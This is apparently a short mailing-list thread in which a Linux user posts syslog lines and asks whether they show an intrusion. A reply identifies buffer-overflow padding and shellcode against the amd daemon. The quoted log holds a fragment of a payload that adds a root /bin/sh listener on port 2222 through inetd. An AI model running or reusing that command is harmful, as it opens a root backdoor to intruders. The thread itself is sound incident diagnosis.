[ILUG] Hack attempt??

[Fowler]

Damian O'Sullivan wrote:
> 
> Anyone know if this looks like a hack attempt??

> Mar  5 09:41:35 connemara
> Mar  5 09:41:35 connemara syslogd: Cannot glue message parts together
> Mar  5 09:41:35 connemara 27>Mar  5 09:41:35 amd[473]: amq requested mount
> of
~P~P~P~P~P~P~P~P~P~P~P~P(^~M^^P~I^^~C^H
> ~I^^D~C^C~I^^H~C^K~M^N~I3~IF^L~HF^W~HF^Z^K~@18
> Jan 1998--str/bin/sh(-c)/bin/echo '2222        stream  tcp     nowait
> root    /bin/sh s
> Mar  5 09:41:35 connemara p/h;/usr/sbin/inetd /tmp/h &#~P, but code is
> disabled
> Mar  5 09:42:04 connemara PAM_pwdb[14769]: password for
> (postgres/103) changed by ((null)/0)
> Mar  5 09:42:24 connemara PAM_pwdb[14776]: password for (xfs/100) changed
> by ((null)/0)
> Mar  5 09:42:32 connemara PAM_pwdb[14777]: password for (ftp/14) changed
> by ((null)/0)
> 
> This was followed by a telnet attempt from an unfamiliar IP 4 mins
> later...

Yup definitely!! The ^p crap is padding into the buffer they are attemping 
to overflow - then begind the actual "Egg" or explot code with some asm 
and the addition to your inetd.conf of the root shell on port 2222